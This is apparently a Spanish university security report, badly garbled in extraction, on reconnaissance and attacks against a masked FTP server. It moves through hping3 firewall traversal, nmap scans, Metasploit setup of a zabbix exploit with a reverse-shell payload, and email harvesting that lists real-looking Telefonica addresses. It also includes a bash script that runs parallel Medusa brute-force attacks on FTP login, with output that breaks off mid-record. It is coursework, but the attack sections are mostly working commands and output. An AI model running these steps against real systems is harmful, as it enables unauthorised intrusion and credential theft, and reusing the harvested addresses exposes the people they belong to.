Sei sulla pagina 1di 20

E s c a n e o d e s e r v i d o r F T P B s q u e d a d e v u l n e r a b i l i d a d e s

DavidNezlvarez PSI2011/2012

Conmotivodenorevelarlosdatosdelservidoralqueselerealizelestudiovamosasuponer quesudominioesftp.objetivo.com ysuIPnosercompletamentevisible. Enunprincipio,sloconocemoseldominiowebdelservidorFTPquesernuestroobjetivode estudio,ftp.objetivo.com NosconectamosalldesdeelnavegadoryvemosqueelserviciodeFTPestaactivoy funcionandocorrectamente.

1.Inicio LoprimeroqueharemosserconseguirsudireccinIP:
$ n s l o o k u p f t p . o b j e t i v o . c o m N a m e :f t p . o b j e t i v o . c o m A d d r e s s : 1 . . . 6

EstaIPserlabasedetodasnuestraspruebas.

1.1)Empezaremosintentandohacerunpingalobjetivo.
$pingc31...6 PING1...6(1...6)56(84)bytesofdata. 1...6pingstatistics 3packetstransmitted,0received,100%packetloss,time2009ms

Sevequeelobjetivonorespondealping,estopuededeberseadiferentesmotivos,como sabemosquelamquinaestfuncionandoelmscomnesquetengandesactivadala respuestaalosmensajesICMP.

1.2)Intentaremosllegaralatravsdeotrosmedioscomotraceroute parahacernosunaidea dequmquinashayentrenosotrosyelobjetivoaversidescubrimosalgo,lomasseguroes quetambinsenosfiltreantesdellegaralobjetivoyaquetraceroutefuncionasobreICMP.


$traceroute1...6

ConlasalidaquenosdiotraceroutevemosqueapartirdeunpuntolasdireccionesIPsenos ocultan,cosaquenosindicaqueseguramenteestemospasandoatravsdeunfirewallque nosestfiltrandolapaqueteraenviada.

1.3)Nohayquepreocuparse,haydiferentesmanerasdellegaraunamquinadetrsdeun firewall. Unadeellasesconlaherramientahping3. Usaremoslaopcint1combinadaconlaopcinZloquenospermitequealpulsarCTRL+Z elTTLdelospaquetesqueenvahping3aumenteen1yvayavariandoelpuntoquenos respondeentrenosotrosyelobjetivo. SeusartambinlaopcinSquepondrelflagSYNdeTCPa1,flagquelosfirewallsuelen dejarpasaryaqueeselflagquepermiteiniciarunaconexinTCP.


# h p i n g 3St1p2 1nz 1 . . . 6
H P I N G 1 . . . 6 ( w l a n 0 1 . . . 6 ) :Ss e t ,4 0h e a d e r s+0d a t ab y t e s T T L0d u r i n gt r a n s i tf r o mi p = 1 9 2 . 1 6 8 . 1 . 1 2 :T T L0d u r i n gt r a n s i tf r o mi p = . . 1 7 6 . 1 3 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 2 5 4 4 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 6 2 5 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 9 7 6 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 1 6 2 7 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 2 6 8 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 1 0 9 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 1 2 2 1 0 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 5 0 1 1 :T T L0d u r i n gt r a n s i tf r o mi p = . . . 1 3 0 1 2 :l e n = 4 4i p = 1 . . . 6 t t l = 1 1 6D Fi d = 1 4 7 4 1s p o r t = 2 1f l a g s = S As e q = 2 7w i n = 8 1 9 2r t t = 5 8 . 3m s l e n = 4 4i p = 1 . . . 6 t t l = 1 1 6D Fi d = 1 4 7 4 2s p o r t = 2 1f l a g s = S As e q = 2 8w i n = 8 1 9 2r t t = 5 9 . 4m s l e n = 4 4i p = 1 . . . 6 t t l = 1 1 6D Fi d = 1 4 7 4 3s p o r t = 2 1f l a g s = S As e q = 2 9w i n = 8 1 9 2r t t = 5 8 . 6m s

Hemostenidosuerte,conseguimospasaratravsdelfirewallyalcanzarnuestroobjetivo. ConestodescubrimoslaIPdelfirewallylossaltosquehayentreesteylamquinaobjetivo. EnunprincipionuestroobjetivoparaestereporteslaIPdondeseencuentraelservidorFTP, peroconlasalidaanteriorhemosdescubiertodndeestelfirewall,otraposiblemquina vulnerabledelaredinterna.

2)Descubrimiento Continuaremoselanlisisintentandodescubrirlosserviciosquetienenuestramquinaobjetivo (sesabequeyatieneunservidorFTPcorriendoenelpuerto21). Usaremoslaherramientanmap.


Unabuenaprcticaenunescaneorealserautilizaropcionesdenmapquenospermitanocultarnosdetrs demquinaszombiescomotcnicasdeidlescan.Ousarherramientascomotorsocksquenos permitiranmeterlaspruebasdeescaneoporlaredTORysaliratravsdeunaIPdiferentealanuestra. ocultandoasquinestescaneandolamquina.

Empezaremosconunescaneoatrespuertosconocidosquepodranestarabiertosyconla opcinPNquedesactivael"nmapdiscovering(usandoPING)yaqueyasabemosquela mquinaexisteyestfuncionando.


#n m a ps TP Np2 1 , 2 2 , 8 0v S t a r t i n gN m a p5 . 0 0(h t t p : / / n m a p . o r g)a t2 0 1 2 0 4 3 02 3 : 2 5C E N S E :L o a d e d0s c r i p t sf o rs c a n n i n g . I n i t i a t i n gC o n n e c tS c a na t2 3 : 2 5 S c a n n i n g1 . . . 6 [ 3p o r t s ] C o m p l e t e dC o n n e c tS c a na t2 3 : 2 5 ,0 . 7 6 se l a p s e d( 3t o t a lp o r t s H o s t1 . . . 6 i su p( 0 . 7 8 sl a t e n c y ) . I n t e r e s t i n gp o r t so n1 . . . 6 : P O R T S T A T E S E R V I C E 2 1 / t c po p e n f t p 2 2 / t c pf i l t e r e ds s h 8 0 / t c pf i l t e r e dh t t p R e a dd a t af i l e sf r o m :/ u s r / s h a r e / n m a p N m a pd o n e :1I Pa d d r e s s( 1h o s tu p )s c a n n e di n1 . 7 9s e c o n d s

Comprobamosqueefectivamenteelpuerto21tienecorriendoftpdetrs,losdemspuertos vemosquenmapnosindicaqueestnfiltrados. Haremosahoraunescaneounpocomscompletousandodirectamenteelescaneodenmap sinindicarlepuertos,loqueharquenmaphagaunescaneodelospuertosmscomnmente usados(msde1500).

#n m a ps TP Nv 1 . . . 6 S t a r t i n gN m a p5 . 0 0(h t t p : / / n m a p . o r g)a t2 0 1 2 0 5 0 10 0 : 0 6C E S T N S E :L o a d e d0s c r i p t sf o rs c a n n i n g . I n i t i a t i n gP a r a l l e lD N Sr e s o l u t i o no f1h o s t .a t0 0 : 0 6 C o m p l e t e dP a r a l l e lD N Sr e s o l u t i o no f1h o s t .a t0 0 : 0 6 ,0 . 0 4 se l a p s e d I n i t i a t i n gC o n n e c tS c a na t0 0 : 0 6 S c a n n i n g1 . . . 6 [ 1 0 0 0p o r t s ] H o s t1 . . . 6 i su p( 0 . 0 5 9 sl a t e n c y ) . I n t e r e s t i n gp o r t so n1 . . . 6 : N o ts h o w n :9 1 3f i l t e r e dp o r t s P O R T 2 1 / t c p 2 4 / t c p 8 0 / t c p 2 1 2 / t c p 3 1 1 / t c p 4 0 6 / t c p 4 6 5 / t c p 6 6 7 / t c p 6 6 8 / t c p 8 4 4 3 / t c p o p e n h t t p s a l t 8 8 7 3 / t c p o p e n u n k n o w n 9 0 0 1 / t c p o p e n t o r o r p o r t 9 0 0 9 / t c p o p e n u n k n o w n 9 2 9 0 / t c p o p e n u n k n o w n 1 0 2 1 5 / t c po p e n u n k n o w n 1 0 6 2 9 / t c po p e n u n k n o w n 1 3 7 8 2 / t c po p e n n e t b a c k u p 1 7 9 8 8 / t c po p e n u n k n o w n 2 0 0 0 5 / t c po p e n b t x 3 0 9 5 1 / t c po p e n u n k n o w n 3 2 7 8 1 / t c po p e n u n k n o w n 3 3 3 5 4 / t c po p e n u n k n o w n 4 0 1 9 3 / t c po p e n u n k n o w n 4 4 4 4 3 / t c po p e n c o l d f u s i o n a u t h 4 9 1 5 5 / t c po p e n u n k n o w n 4 9 9 9 9 / t c po p e n u n k n o w n 5 5 6 0 0 / t c po p e n u n k n o w n 5 8 0 8 0 / t c po p e n u n k n o w n R e a dd a t af i l e sf r o m :/ u s r / s h a r e / n m a p N m a pd o n e :1I Pa d d r e s s( 1h o s tu p )s c a n n e di n4 2 . 4 3s e c o n d s S T A T ES E R V I C E o p e n f t p o p e n p r i v m a i l o p e n h t t p o p e n a n e t o p e n a s i p w e b a d m i n o p e n i m s p o p e n s m t p s o p e n u n k n o w n o p e n u n k n o w n

Vemosquenosindicamuchospuertosabiertos,cosaqueesunpocoextraa,yaque normalmenteunamquinanosueletenertantospuertosescuchando,ademsnosmuestra queelpuerto80estabierto,puertoqueanteriormenteaparecicomofiltrado.

Estohacesospecharyhaciendootroescaneoigualqueelanteriorlospuertosquenosindica abiertossonotroscompletamentedistintos. Diferentessistemasdeproteccinintentanengaaralosintrusosdemltiplesmaneras.Una deellasesdandoinformacinfalsa. Sevequehaciendoescaneospequeoslainformacinquesenosdevuelveacercadelos puertosparecesercorrecta.


$ n m a ps TP Nvp2 11 . . . 6 P O R T S T A T ES E R V I C E 2 1 / t c po p e n f t p $ n m a ps TP Nvp8 01 . . . 6 P O R T S T A T E S E R V I C E 8 0 / t c pf i l t e r e dh t t p

Asqueintentaremoshacerescaneosmspequeos(ymsseparadoseneltiempo). Seintentarbuscarportantohacerunescaneoporlomenosalos49151puertosqueformanel conjuntodepuertosconocidosyregistradosyaquesonlosmscomunesparausar. Seramtodomuytedioso(ademsdelargo,yaquecadaescaneotardaunos2segundos) intentarhacerescaneosdepuertoenpuertomanualmente. Creamosunscriptqueejecutenmap500veces,yqueempieceenelnmeroqueseleindique multiplicadopor500. Assiseleindica0escanearlos500primeros,1del501al1000,2del1001al1500yas sucesivamente.

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * n m a p . s h * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * # ! / b i n / b a s h i n i = $ [ 1 + $ 1 * 5 0 0 ] ; f i n = $ [ 5 0 0 + $ 1 * 5 0 0 ] ; f o r( (i=$ i n i ;i<$ f i n ;i + +) ) ;d o n m a ps TP Nvp$ i1 . . . 6 | g r e po p e n d o n e * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Ejecutaremoselscriptdentrodeunbuclefordesdeel1al100enparaleloparapoderabarcar todoslospuertosanteriormentemencionados. Sisetieneunordenadorpotenteestonoserunproblemaytendremos100nmap ejecutndoseenparalelocadaunointerrogandoaunpuertodiferentedelamquina. yenpocosminutosobtenemoslasalida.


$f o r( (i=0 ;i<1 0 0 ;i + +) ) ;d o. / n m a p . s h$ i&d o n e 2 1 / t c po p e n f t p 1 0 0 5 0 / t c po p e n u n k n o w n 4 9 1 5 5 / t c po p e n u n k n o w n

Laejecucinfuncionyobtuvimosquelamquinatena3puertosabiertos. 21(ftp) 10050(desconocido) 49155(desconocido)

3)Reconocimientodeaplicaciones. Yasesabequepuertostienelamquinaescuchando.Ahoraelsiguientepasosersaberqu corredetrsdecadapuerto. 3.1)Nmaptambintieneopcionespara"SERVICEANDVERSIONDETECTION".Seusa aadiendolaopcinsV. Ejecutandodiferentespruebasparalosdospuertosnuevosqueobtuvimos.


$n m a pP Ns Vp4 9 1 5 51 . . . 6 S t a r t i n gN m a p5 . 0 0(h t t p : / / n m a p . o r g)a t2 0 1 2 0 5 0 71 3 : 1 2C E S T I n t e r e s t i n gp o r t so n1 . . . 6 : P O R T S T A T ES E R V I C EV E R S I O N 4 9 1 5 5 / t c po p e n m s r p c M i c r o s o f tW i n d o w sR P C S e r v i c eI n f o :O S :W i n d o w s S e r v i c ed e t e c t i o np e r f o r m e d .P l e a s er e p o r ta n yi n c o r r e c tr e s u l t sa t h t t p : / / n m a p . o r g / s u b m i t /. N m a pd o n e :1I Pa d d r e s s( 1h o s tu p )s c a n n e di n4 4 . 5 4s e c o n d s

$n m a pP Ns Vp1 0 0 5 01 . . . 6 S t a r t i n gN m a p5 . 0 0(h t t p : / / n m a p . o r g)a t2 0 1 2 0 5 0 71 3 : 1 3C E S T I n t e r e s t i n gp o r t so n1 . . . 6 : P O R T S T A T ES E R V I C E V E R S I O N 1 0 0 5 0 / t c po p e n t c p w r a p p e d S e r v i c ed e t e c t i o np e r f o r m e d .P l e a s er e p o r ta n yi n c o r r e c tr e s u l t sa t h t t p : / / n m a p . o r g / s u b m i t /. N m a pd o n e :1I Pa d d r e s s( 1h o s tu p )s c a n n e di n0 . 3 5s e c o n d s

Nosindicaqueenel49155estcorriendoelservicioMSRPCyenel10050nosindica tcpwrapped(nmapnopudodescubrirquehayenesepuertoeindicaqueestafiltrado "tcpwrapped") Cuandonmapnopuedeobtenerloquecorredetrsdeunpuertoosuversin,tienediferentes opcionesparaintentarprobardeotrasmaneras,unadeellases"versionintensityX"donde Xesunnmeroentreel0yel9. Enestecasoseprobaroncontodaslasopcionesyningunadiomsdatosnideversinnide quserviciosson.(Tampocoparaelpuerto21)

3.2)Hacemosusodelaherramientanetcatparaconectarnosalospuertosintentandobuscar algnmensajedebienvenidaenalgunodeellosquenosdealgunainformacinamayores.
$ n cvn1 . . . 6 2 1 ( U N K N O W N )[ 1 . . . 6 ]2 1( f t p )o p e n 2 2 0 B i e n v e n i d oa lF T P( o v e rs s l )d e . 2 2 0W e l c o m et ot h e F T Ps e r v e r . $n cvn1 . . . 6 1 0 0 5 0 ( U N K N O W N )[ 1 . . . 6 ]1 0 0 5 0( z a b b i x a g e n t )o p e n $n cvn1 . . . 6 4 9 1 5 5 ( U N K N O W N )[ 1 . . . 6 ]4 9 1 5 5( ? )o p e n

Conlosmensajesdebienvenidanoseconsiguinadaperovemosquenetcatasociaalpuerto 10050laherramientademonitorizacinzabbix.

3.3)Otrapruebapodraserbuscarenlapaqueteraquesegeneraenlaconexinalserviciodel puerto10050conalgunaherramientacomowireshark.

Wiresharkasociatambindichopuertoazabbix.

4)ReconocimientodeSO Nmaptambintieneopcionesparareconocimientodesistemasoperativoseindicarnosqu sistemaoperativohaydetrsdeunaIP. Estoserausandolaopcin"O"peroenestecasolaherramientanopudoindicarunsistema operativoconcretomostrandounporcentajedemsdel90paradiferentessistemasoperativos completamentediferentes. PerotambinparaestecasotenemosgrandesposibilidadessabiendoquecorreunMSRPCde quelamquinaseaWindows(esos,nosabemosquwindows).

5)Anlisisyexplotacindevulnerabilidades. Llegadosaestepuntotenemosquelamquinacorredetrsdeunfirewall Seguramentetengaunsistemadeproteccinqueengaaanuestraherramientade reconocimientodeaplicacionesysistemasoperativos. Lamquinatiene3puertosabiertosydetrsdeellosunservidorftp,elserviciode monitorizacinzabbixyMicrosoftWindowsRPC(loquenosindicaquecasiseguramente seaunamquinawindows).

Apartirdeestosepodranintentarexplotarlasvulnerabilidadesdelamquinasiesquelas tiene. Hayherramientasdebsquedadevulnerabilidadescomonessusopginasenlasquese exponenvulnerabilidadesyexploitsparaellashttp://www.exploitdb.com/. Tambinhaydiferentesherramientasonlinecomohttp://www.shodanhq.com/enlasquese buscaporip,dominio(http://www.shodanhq.com/search?q=www.telefonica.com)...Yseobtiene losserviciosquecorrendetrs.Shodantambinpuedebuscarporservicioyofrecerteexploits paral.

5.1)Unaherramientaparalaexplotacindevulnerabilidadesserametasploit. MetasploitFrameworkesunaincluyegrancantidaddeexploitsparavulnerabilidadesde diversasaplicacionesylasexplotaremotamente. Sepuedenbuscarlasvulnerabilidadesdelasaplicacionesobjetivodesdelaherramientaoenel buscadorpropiodelapginawebdelproyectohttp://www.metasploit.com/modules/ Laformabsicadefuncionamientoescargarelexploitquesequiera,configurarloylanzarlo,si lamquinaesvulnerableadichoexploit,conpocosclickssepuedeconseguirecharlaabajo, tomarelcontrolatravsdeunshellremoto...

Ejemplodecmoseusaraelexploitparazabbixenmetasploit:
$m s f c o n s o l e # # # # # # # # # ## # # # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # # # # ## # # # # # # # # # ## # # # # # # # # # # # # # # # # # # # # # ### # # # # # # # # ## # # # # # # # # # # # # # ## # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ## # #

m s f>u s ee x p l o i t / u n i x / m i s c / z a b b i x _ a g e n t _ e x e c m s fe x p l o i t ( z a b b i x _ a g e n t _ e x e c )>s h o wp a y l o a d s m s fe x p l o i t ( z a b b i x _ a g e n t _ e x e c )>s e tP A Y L O A Dg e n e r i c / s h e l l _ r e v e r s e _ t c p m s fe x p l o i t ( z a b b i x _ a g e n t _ e x e c )>s e tL H O S T[ M YI PA D D R E S S ] m s fe x p l o i t ( z a b b i x _ a g e n t _ e x e c )>s e tR H O S T[ T A R G E TI P ] m s fe x p l o i t ( z a b b i x _ a g e n t _ e x e c )>e x p l o i t

Despusdevercmoseusametasploitvamosabuscarexploitsquepuedanvalernospara zabbixoMSRPC.

zabbix: SlotienenesteexploitqueafectaalaversiondeFreeBSD http://www.metasploit.com/modules/exploit/unix/misc/zabbix_agent_exec (YaquelamquinatieneWindows,descartado)

MicrosoftWindowsRPC: Lamayorasonexploitsparadiferentesbufferoverflowquetenaendiferentesversiones. http://www.metasploit.com/modules/exploit/windows/dcerpc/ms03_026_dcom PARA (WindowsNTSP36a/2000/XP/2003Universal)

http://www.metasploit.com/modules/exploit/windows/dcerpc/ms07_029_msdns_zonena me PARA (0Automatic(2000SP0SP4,2003SP0,2003SP1SP2)(default)

1Windows2000ServerSP0SP4+English 2Windows2000ServerSP0SP4+Italian 3Windows2000ServerSP0SP4+French 4Windows2003ServerSP0English 5Windows2003ServerSP0French 6Windows2003ServerSP1SP2English 7Windows2003ServerSP1SP2French 8Windows2003ServerSP1SP2Spanish 9Windows2003ServerSP1SP2Italian 10Windows2003ServerSP1SP2German)

Ningnexploitllegacuajarenlamquinaobjetivo,silamquinaestbienparcheaday actualizada,lamayoradelosagujerosquepudiesehaberenella,estncerrados. Porestapartenosepudoobtenernada.

6)Anlisisyexplotacindevulnerabilidades.(PASSWORDGUESSINGFTP) Porotrapartesigueestandoelservidorftp.Enltenemosaccesoaalgunascarpetascomo usuarioannimo,perohayotrasalasqueslopuedenaccederusuariosregistrados. Algoquesepodraintentareselaccesoadichosdirectorios,paraellointentaremosloguearnos comousuarioconherramientasdepasswordguessing. Esteesunprocesolargoybastantecomplicado,yaquelamayoradelasherramientas pruebanpasswordsporfuerzabruta,nosfacilitaraalgoeltrabajosaberdequestformadala contrasea,cuantoscaracterestiene... Tambinharaeltrabajomuchomssencilloelteneryaelnombredealgnusuariodel sistema. Nosotrossabemosquelosnombresdeusuarioparaelservidorftpsonsusdireccionesde correo. 6.1)Haymuchasmanerasdeconseguirunlogindeunusuario,perosiademssabemosque esladireccindecorreo,unscriptllamado"theHarvester.py"nospuedesermuytil. http://www.edgesecurity.com/theHarvester.php Estescriptnosdaremails,nombresdeusuario,subdominiosynombresdehostbuscandoen google,bing...Delaorganizacinqueleindiquemos. Unejemploparaunacompaacomotelefnicaseraelsiguiente: Lasalidaestacortadaylosemailsmodificados,perosepuedevercomofuncionaradicho script.
$p y t h o nt h e H a r v e s t e r . p ydt e l e f o n i c a . c o ml2 0 0ba l l * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * T h e H a r v e s t e rV e r .2 . 2 * C o d e db yC h r i s t i a nM a r t o r e l l a * E d g e S e c u r i t yR e s e a r c h * c m a r t o r e l l a @ e d g e s e c u r i t y . c o m F u l lh a r v e s t . . [ ]S e a r c h i n gi nG o o g l e . . S e a r c h i n g0r e s u l t s . . . S e a r c h i n g1 0 0r e s u l t s . . . S e a r c h i n g2 0 0r e s u l t s . . . [ ]S e a r c h i n gi nP G PK e ys e r v e r . . [ ]S e a r c h i n gi nB i n g . . S e a r c h i n g1 0 0r e s u l t s . . . S e a r c h i n g2 0 0r e s u l t s . . . [ ]S e a r c h i n gi nE x a l e a d . . * * * *

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

S e a r c h i n g1 0 0r e s u l t s . . . S e a r c h i n g2 0 0r e s u l t s . . . [ + ]E m a i l sf o u n d : a c i o f u n d a c i o n . a r @ t e l e f o n i c a . c o m i o r e c e p c i o n . a r @ t e l e f o n i c a . c o m i n i o s @ e t e l e f o n i c a . c o m r i n g . t i w s @ t e l e f o n i c a . c o m n n a . r o m a n o @ t e l e f o n i c a . c o m a r f . r a m i r e z @ t e l e f o n i c a . c o m . . . . . . . . . a r r f @ t e l e f o n i c a . c o m i g V i @ t e l e f o n i c a . c o m d e m o . t e l e f o n i c a . c o m a l c h @ t e l e f o n i c a . c o m z a l c r @ t e l e f o n i c a . c o m z d @ t e l e f o n i c a . c o m [ + ]H o s t sf o u n di ns e a r c he n g i n e s : 1 9 5 . 5 3 . 1 6 9 . 5 7 : w w w . t e l e f o n i c a . c o m 2 0 0 . 8 1 . 3 6 . 1 4 : m a i l u s . t e l e f o n i c a . c o m 2 0 0 . 8 1 . 3 6 . 1 4 : m a i l a r . t e l e f o n i c a . c o m 8 1 . 2 0 0 . 6 4 . 1 8 0 : w w w . i n f o m a i l . t e l e f o n i c a . c o m 6 6 . 2 3 1 . 2 3 3 . 2 1 2 : l i v e . u s . t e l e f o n i c a . c o m 1 9 5 . 5 5 . 7 5 . 2 4 5 : w w w . f u n d a c i o n . t e l e f o n i c a . c o m . . . . . . . . . 2 1 6 . 1 7 7 . 1 9 9 . 9 3 : u s . t e l e f o n i c a . c o m 1 9 5 . 5 3 . 1 6 9 . 9 : s a l a d e p r e n s a . t e l e f o n i c a . c o m 1 9 5 . 5 5 . 7 5 . 2 4 5 : w w w . f u n d a c i o n . t e l e f o n i c a . c o m 2 1 6 . 1 7 7 . 1 9 9 . 9 3 : w w w . m u l t i n a t i o n a l s o l u t i o n s . t e l e f o n i c a . c o m [ + ]V i r t u a lh o s t s : = = = = = = = = = = = = = = = = = = 1 9 5 . 5 3 . 1 6 9 . 5 7 1 9 5 . 5 3 . 1 6 9 . 5 7 1 9 5 . 5 3 . 1 6 9 . 5 7 1 9 5 . 5 3 . 1 6 9 . 5 7 . . . . . . . . . 2 1 2 . 3 6 . 8 2 . 1 3 0 2 1 2 . 3 6 . 8 2 . 1 3 0 2 1 2 . 3 6 . 8 2 . 1 3 0 7 9 . 1 2 5 . 1 2 5 . 3 7 9 . 1 2 5 . 1 2 5 . 3 7 9 . 1 2 5 . 1 2 5 . 3 w w w . m a r a t o n d e g a z a . c o m w w w . q u i c k l y c o n t a c t . n e t m a x c o n n . a r a n c h a r u i z . c o m r e d p a c i e n t e s . c o m a t l a s . t e l e f o n i c a . c o m i n f o r m e r c . t e l e f o n i c a . c o m w w w . t e l e f o n i c a . c o m c e s a r a l i e r t a . t e l e f o n i c a . c o m w w w . v e . t e l e f o n i c a . c o m j u l i o l i n a r e s . t e l e f o n i c a . c o m

Teniendounusuariodelsistemaintentaramosobtenerlacontraseadeesteusuariopor "fuerzabruta" Enestecasodeejemplovamosausarunficheroconlas10000contraseasmsusadasen internetelusuario"Admin"yelprogramamedusa. Medusaseusadelasiguientemanera:


$ m e d u s ah" I P "u" N O M B R E U S U A R I O "P" A R C H I V O D E C O N T R A S E A S . t x t "Mf t pv 6

Mftp>indicaqueuseelmduloparaservidoresftp v6>modoverbose Laspruebasdepasswordguessingaservicioswebsonmuylentasyaquehayqueenviarla peticinyesperarlarespuesta. Unaformadehacerestounpocomsrpidoesejecutarvariasconsultasenparalelo.Para estosecreunpequeoscriptquepartieseelficherodecontraseasenNpartesyqueejecute medusaNvecesenparalelocadaunausandounapartedelarchivopartido.

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * a t a q u e . s h * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * # ! / b i n / b a s h i f[ [$ #! =4] ] ; t h e n e c h o" . / s c r i p t< n p r o c >< f i c h e r o p a s s >< h o s t >< u s u a r i o > " e c h o "n p r o c =n u m e r op r o c e s o sae j e c u t a re np a r a l e l o " e c h o "h o s t=h o s taa t a c a rc o nm e d u s a " e c h o "u s u a r i o=u s u a r i oap r o b a rc o nm e d u s a " e x i t ; f i n p r o c = $ 1 ; e n t r a d a = $ 2 ; h o s t = $ 3 ; u s u a r i o = $ 4 ;

# t a m a n od ee n t r a d aat r a v e sd ew cc o g i e n d os o l on u m e r ol i n e a s t a m _ e n t r a d a = ` w cl$ e n t r a d a| c u tf1d"" ` ; # d i v i s i o ne n t e r ah a c i aa r r i b a l i m i t e = $ [( $ t a m _ e n t r a d a/$ n p r o c )+( $ t a m _ e n t r a d a%$ n p r o c )] i = 0 ; j = 0 ; h = 0 ;

e c h on"D i v i d i e n d oa r c h i v od ep a s s w d" # p a r t i m o se la r c h i v oe nt a n t o sa r c h i v o sc o m op r o c e s o ss ei n d i q u e w h i l er e a dl i n e d o i f[ [$ il t$ l i m i t e] ] ; t h e n e c h o" $ l i n e "> >s a l i d a $ j . t x t ; i = $ [ $ i+1 ] ; e l s e j = $ [ $ j+1 ] ; i = 0 ; f i d o n e<$ 2 e c h o" [ C O M P L E T A D O ] " # s ee j e c u t ae np a r a l e l on p r o cm e d u s a # u n oc o nc a d aa r c h i v od ep a s s w o r d s f o r( (k=0;k< =$ j;k + +) ) d o m e d u s ah$ 3u$ 4Ps a l i d a $ k . t x tMf t pv 6& d o n e

# b o r r a ra r c h i v o sa u x i l i a r e s # r ms a l i d a * ; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Unejemplodeusodelscriptcon5ejecucionesparalelassera: (./ataqueNUMEROPROCESOSFICHEROPASSWORDS.txtIPNOMBREUSUARIO):
$. / a t a q u e . s h5p a s s w o r d s 2 . t x t1 . . . 6 a d m i n D i v i d i e n d oa r c h i v od ep a s s w d[ C O M P L E T A D O ] $M e d u s av 2 . 0[ h t t p : / / w w w . f o o f u s . n e t ]( C )J o M o K u n/F o o f u sN e t w o r k s< j m k @ f o o f u s . n e t >
G E N E R A L :P a r a l l e lH o s t s :1P a r a l l e lL o g i n s :1 G E N E R A L :T o t a lH o s t s :1 G E N E R A L :T o t a lU s e r s :1 G E N E R A L :T o t a lP a s s w o r d s :2 0 0 M e d u s av 2 . 0[ h t t p : / / w w w . f o o f u s . n e t ]( C )J o M o K u n/F o o f u sN e t w o r k s< j m k @ f o o f u s . n e t > G E N E R A L :P a r a l l e lH o s t s :1P a r a l l e lL o g i n s :1 G E N E R A L :T o t a lH o s t s :1 G E N E R A L :T o t a lU s e r s :1 G E N E R A L :T o t a lP a s s w o r d s :1 9 6 M e d u s av 2 . 0[ h t t p : / / w w w . f o o f u s . n e t ]( C )J o M o K u n/F o o f u sN e t w o r k s< j m k @ f o o f u s . n e t > G E N E R A L :P a r a l l e lH o s t s :1P a r a l l e lL o g i n s :1 G E N E R A L :T o t a lH o s t s :1

G E N E R A L :T o t a lU s e r s :1 M e d u s av 2 . 0[ h t t p : / / w w w . f o o f u s . n e t ]( C )J o M o K u n/F o o f u sN e t w o r k s< j m k @ f o o f u s . n e t > G E N E R A L :P a r a l l e lH o s t s :1P a r a l l e lL o g i n s :1 G E N E R A L :T o t a lH o s t s :1 G E N E R A L :T o t a lU s e r s :1 G E N E R A L :T o t a lP a s s w o r d s :2 0 0 G E N E R A L :T o t a lP a s s w o r d s :2 0 0 M e d u s av 2 . 0[ h t t p : / / w w w . f o o f u s . n e t ]( C )J o M o K u n/F o o f u sN e t w o r k s< j m k @ f o o f u s . n e t > G E N E R A L :P a r a l l e lH o s t s :1P a r a l l e lL o g i n s :1 G E N E R A L :T o t a lH o s t s :1 G E N E R A L :T o t a lU s e r s :1 G E N E R A L :T o t a lP a s s w o r d s :2 0 0


A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :s u p e r m a n 1( 1o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :j u s t u s( 1o f1 9 6c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :u n r e a l( 1o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :n i k l a s( 1o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :1 2 3 4 5 6( 1o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :b u l l s h i t( 2o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :a r e a 5 1( 2o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :r a s m u s( 2o f2 0 0c o m p l e t e ) A C C O U N TC H E C K 